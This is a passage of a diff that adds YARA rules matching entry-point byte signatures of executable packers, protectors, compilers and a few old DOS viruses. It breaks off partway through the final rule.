+		description = "MSLRH v0.32a (fake Microsoft Visual C++) -> emadicius (h)"
+	strings:
+		$0 = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 83 C4 0C 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Necropolis1963_
+{
+	meta:
+		description = "Vx: Necropolis.1963"
+	strings:
+		$0 = {B4 30 CD 21 3C 03 ?? ?? B8 00 12 CD 2F 3C FF B8 ?? ?? ?? ?? B4 4A BB 40 01 CD 21 ?? ?? FA 0E 17 BC ?? ?? E8 ?? ?? FB A1 ?? ?? 0B C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1337__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.3.7 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 2C 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 27 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "Microsoft Visual C++"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00}
+		$1 = {8B 44 24 08 56 83 E8 ?? 74 ?? 48 75}
+		$2 = {8B 44 24 08 83 ?? ?? 74}
+	condition:
+		$0 or $1 at entrypoint or $2 at entrypoint
+}
+rule _EXECryptor_V21X__SoftCompletecom_
+{
+	meta:
+		description = "EXECryptor V2.1X -> SoftComplete.com"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 66 9C 60 50 8D 88 ?? ?? ?? ?? 8D 90 04 16 ?? ?? 8B DC 8B E1}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2xx_
+{
+	meta:
+		description = "ASPack v2.xx"
+	strings:
+		$0 = {A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+		$1 = {A8 03 ?? ?? 61 75 08 B8 01 ?? ?? ?? C2 0C ?? 68 ?? ?? ?? ?? C3 8B 85 26 04 ?? ?? 8D 8D 3B 04 ?? ?? 51 50 FF 95}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yzpack_V112__UsAr__Sign_by_fly_
+{
+	meta:
+		description = "yzpack V1.12 -> UsAr ! Sign by fly"
+	strings:
+		$0 = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00 ?? ?? 0B 01 ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEQuake_006_forgat_
+{
+	meta:
+		description = "PEQuake 0.06-> forgat"
+	strings:
+		$0 = {E8 A5 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? ?? 00 5B ?? ?? 00 6E ?? ?? 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Metrowerks_CodeWarrior_DLL_v20_
+{
+	meta:
+		description = "Metrowerks CodeWarrior (DLL) v2.0"
+	strings:
+		$0 = {55 89 E5 53 56 57 8B 75 0C 8B 5D 10 83 FE 01 74 05 83 FE 02 75 12 53 56 FF 75 08 E8 6E FF FF FF 09 C0 75 04 31 C0 EB 21 53 56 FF 75 08 E8 ?? ?? ?? ?? 89 C7 09 F6 74 05 83 FE 03 75 0A 53 56 FF 75 08 E8 47 FF FF FF 89 F8 8D 65 F4 5F 5E 5B 5D C2 0C 00 C9}
+	condition:
+		$0
+}
+rule _Anti007_V10V2X__NsPacK_Private_
+{
+	meta:
+		description = "Anti007 V1.0-V2.X -> NsPacK Private"
+	strings:
+		$0 = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 45 78 69 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_13021__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.0.21 -> Obsidium Software"
+	strings:
+		$0 = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 26 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_nSPack_13__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake nSPack 1.3) -> emadicius"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D3 FE FF FF 8B 06 83 F8 00 74 11 8D B5 DF FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74}
+	condition:
+		$0
+}
+rule _Thinstall_Embedded_V19X__Jitit__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall Embedded V1.9X -> Jitit ! Sign by fly"
+	strings:
+		$0 = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 ?? ?? ?? ?? 50 E8 87 FC FF FF 59 59 A1 ?? ?? ?? ?? 8B 40 10 03 05 ?? ?? ?? ?? 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Spanz_
+{
+	meta:
+		description = "Vx: Spanz"
+	strings:
+		$0 = {E8 00 00 5E 81 EE ?? ?? 8D 94 ?? ?? B4 1A CD 21 C7 84}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeSplitter_13_SplitpCrypt_Method__Bill_Prisoner__TPOC_
+{
+	meta:
+		description = "ExeSplitter 1.3 (Split+Crypt Method) -> Bill Prisoner / TPOC"
+	strings:
+		$0 = {15 10 05 23 14 56 57 57 48 12 0B 16 66 66 66 66 66 66 66 66 66 02 C7 56 66 66 66 ED 26 6A ED 26 6A ED 66 E3 A6 69 E2 39 64 66 66 ED 2E 56 E6 5F 0D 12 61 E6 5F 2D 12 64 8D 81 E6 1F 6A 55 12 64 8D B9 ED 26 7E A5 33 ED 8A 8D 69 21 03 12 36 14 09 05 27 02 02 14 03 15 15 27 ED 2B 6A ED 13 6E ED B8 65 10 5A EB 10 7E EB 10 06 ED 50 65 95 30 ED 10 46 65 95 55 B4 ED A0 ED 50 65 95 37 ED 2B 6A EB DF AB 76 26 66 3F DF 68 66 66 66 9A 95 C0 6D AF 13 64}
+		$1 = {E8 00 00 00 00 5D 81 ED 05 10 40 00 B9 ?? ?? ?? ?? 8D 85 1D 10 40 00 80 30 66 40 E2 FA 8F 98 67 66 66 ?? ?? ?? ?? ?? ?? ?? 66}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _SimbiOZ_13__Extranger_
+{
+	meta:
+		description = "SimbiOZ 1.3 -> Extranger"
+	strings:
+		$0 = {57 57 8D 7C 24 04 50 B8 00 ?? ?? ?? AB 58 5F C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v024__v028alpha__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.24 ~ v0.28alpha -> Sign by hot_UNP"
+	strings:
+		$0 = {BE 88 01 40 00 AD ?? ?? 95 AD 91 F3 A5 AD}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_12Demo__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.2.Demo -> SIS-Team"
+	strings:
+		$0 = {E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08 61 0F 1D 1D 2A 01 87 35 4C 07 39 0B}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v137_
+{
+	meta:
+		description = "EXE32Pack v1.37"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED 4C 8E 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v035_alpha__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.35 alpha -> Sign by hot_UNP"
+	strings:
+		$0 = {8B F2 8B CA 03 4C 19 1C 03 54 1A 20}
+	condition:
+		$0
+}
+rule _diPacker_1x__diProtector_Software_
+{
+	meta:
+		description = "diPacker 1.x -> diProtector Software"
+	strings:
+		$0 = {0F 00 2D E9 01 00 A0 E3 68 01 00 EB 8C 00 00 EB 2B 00 00 EB 00 00 20 E0 1C 10 8F E2 8E 20 8F E2 00 30 A0 E3 67 01 00 EB 0F 00 BD E8 00 C0 8F E2 00 F0 9C E5}
+	condition:
+		$0 at entrypoint
+}
+rule _Zurenava_DOS_Extender_v045_v049_
+{
+	meta:
+		description = "Zurenava DOS Extender v0.45, v0.49"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? B9 ?? ?? 56 FC F3 A5 5F E9}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10804__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.08.04 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 41 06 00 00 EB 41}
+	condition:
+		$0 at entrypoint
+}
+rule _E___
+{
+	meta:
+		description = "EÓεشø -> Ôºڷç¸ß"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 0F 31 8B D8 0F 31 8B D0 2B D3 C1 EA 10 B8 ?? ?? ?? ?? 0F 6E C0 B8 ?? ?? ?? ?? 0F 6E C8 0F F5 C1 0F 7E C0 0F 77 03 C2 ?? ?? ?? ?? ?? FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_UPX_0896__102__105__124__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake UPX 0.89.6 - 1.02 / 1.05 - 1.24) -> emadicius"
+	strings:
+		$0 = {60 BE 00 90 8B 00 8D BE 00 80 B4 FF 57 83 CD FF EB 3A 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B 75 19 8B 1E 83 EE FC 11 DB 72 10 58 61 90 EB 05 E8 EB 04 40}
+	condition:
+		$0
+}
+rule _ENIGMA_Protector_V1X__Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.X -> Sukhov Vladimir"
+	strings:
+		$0 = {45 6E 69 67 6D 61 20 70 72 6F 74 65 63 74 6F 72 20 76 31}
+	condition:
+		$0
+}
+rule _SmokesCrypt_v12_
+{
+	meta:
+		description = "SmokesCrypt v1.2"
+	strings:
+		$0 = {60 B8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8A 14 08 80 F2 ?? 88 14 08 41 83 F9 ?? 75 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_50_Dll__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 5.0 Dll -> Silicon Realms Toolworks"
+	strings:
+		$0 = {83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 20 15 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 D7 23 00 00 59 89 7D FC FF 75 08 E8 EC 53 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 2B C5 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 19 ED FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 7D 22 00 00 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_01x_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.1x beta -> Dwing"
+	strings:
+		$0 = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211b_
+{
+	meta:
+		description = "ASPack v2.11b"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 E9 3D 04 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_290_LZMA_
+{
+	meta:
+		description = "UPX 2.90 (LZMA)"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 ?? ?? ?? ?? 90 90}
+		$1 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB}
+		$2 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _RLPack_118_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack 1.18 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 ?? 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _InstallShield_2000_
+{
+	meta:
+		description = "InstallShield 2000"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 C4 ?? 53 56 57}
+	condition:
+		$0 at entrypoint
+}
+rule _UltraPro_V10__SafeNet_
+{
+	meta:
+		description = "UltraPro V1.0 -> SafeNet"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? 85 C0 0F 85 3B 06 00 00 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _CipherWall_SelfExtratorDecryptor_GUI_v15_
+{
+	meta:
+		description = "CipherWall Self-Extrator/Decryptor (GUI) v1.5"
+	strings:
+		$0 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 52 10 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 0E 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1322__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.2.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 2A 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__bartxt_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> bart/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB 27 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 07 74 EF FE 07 75 06 47 FF 37 AF EB 09 FE 07 0F 84 1A ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1B ?? ?? 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_v190g__Risco_software_Inc_
+{
+	meta:
+		description = "ACProtect v1.90g -> Risco software Inc."
+	strings:
+		$0 = {60 0F 87 02 00 00 00 1B F8 E8 01 00 00 00 73 83 04 24 06 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Sharp_GPB_Graphics_format_
+{
+	meta:
+		description = "Sharp GPB Graphics format"
+	strings:
+		$0 = {4D 00 00 00 00 ?? ?? ?? ?? 08 00 00 00 03 00 00}
+	condition:
+		$0
+}
+rule _SimplePack_111_Method_1__bagieTMX_
+{
+	meta:
+		description = "SimplePack 1.11 Method 1 -> bagie[TMX"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC F3 A5 89 C1 83 E1 03 F3 A4 5F 5E 8B 04 24 89 EA 03 57 0C E8 3F 01 00 00 58 68 00 40 00 00 FF 77 10 50 FF 93 3C 03 00 00 83 C7 28 4E 75 9E BE ?? ?? ?? ?? 09 F6 0F 84 0C 01 00 00 01 EE 8B 4E 0C 09 C9 0F 84 FF 00 00 00 01 E9 89 CF 57 FF 93 30 03 00 00 09 C0 75 3D 6A 04 68 00 10 00 00 68 00 10 00 00 6A 00 FF 93 38 03 00 00 89 C6 8D 83 6F 02 00 00 57 50 56 FF 93 44 03 00 00 6A 10 6A 00 56 6A 00 FF 93 48 03 00 00 89 E5}
+		$1 = {60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _tElock_v095_
+{
+	meta:
+		description = "tElock v0.95"
+	strings:
+		$0 = {E9 D5 E4 FF FF 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V118_Basic_Edition_aPLib_or_LZMA__ap0x_
+{
+	meta:
+		description = "RLPack V1.18 Basic Edition (aPLib or LZMA) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? 00 00 8D 9D ?? 02 00 00 33 FF E8 ?? 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_10_beta__Spy_Instructor_
+{
+	meta:
+		description = "AntiDote 1.0 beta -> Spy Instructor"
+	strings:
+		$0 = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08}
+		$1 = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0 8B 4C 24 14 8D 04 80 8B 4C C1 08 85 C9 74 1A 8B C1 33 D2 F7 F6 85 D2 75 04 03 F9 EB 0C 8B C1 33 D2 F7 F6 40 0F AF C6 03 F8 43 8B C3 25 FF FF 00 00 3B C5 7E CB 8B C7 5F 5E 5D 5B C3 90 90 90 90 90 90 90 90 90 90 90 90 55 8B EC 6A FF 68 50 22 60 00 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SimplePack_V121build0909_Method2__bagie_
+{
+	meta:
+		description = "SimplePack V1.21.build.09.09 (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 8A 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v098b_DS__ES_not_saved_
+{
+	meta:
+		description = "aPack v0.98b (DS & ES not saved)"
+	strings:
+		$0 = {8C CB BA ?? ?? 03 DA FC 33 F6 33 FF 4B 8E DB 8D ?? ?? ?? 8E C0 B9 ?? ?? F3 A5 4A 75}
+	condition:
+		$0
+}
+rule _RLPack_Full_Edition_117_DLL_aPLib_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 DLL [aPLib]"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_131__dulekxt_
+{
+	meta:
+		description = "FSG 1.31 -> dulek/xt"
+	strings:
+		$0 = {BE ?? ?? ?? 00 BF ?? ?? ?? 00 BB ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80}
+	condition:
+		$0 at entrypoint
+}
+rule _RJcrush_v100_
+{
+	meta:
+		description = "RJcrush v1.00"
+	strings:
+		$0 = {06 FC 8C C8 BA ?? ?? 03 D0 52 BA ?? ?? 52 BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9}
+	condition:
+		$0 at entrypoint
+}
+rule _File_Analyzer_Registration_file_v11_
+{
+	meta:
+		description = "File Analyzer Registration file v1.1"
+	strings:
